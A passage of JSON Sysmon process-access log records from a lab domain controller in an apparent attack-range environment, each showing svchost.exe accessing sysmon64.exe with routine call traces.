ventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1235,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1236,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1237,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1238,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1239,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1240,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1241,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1242,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 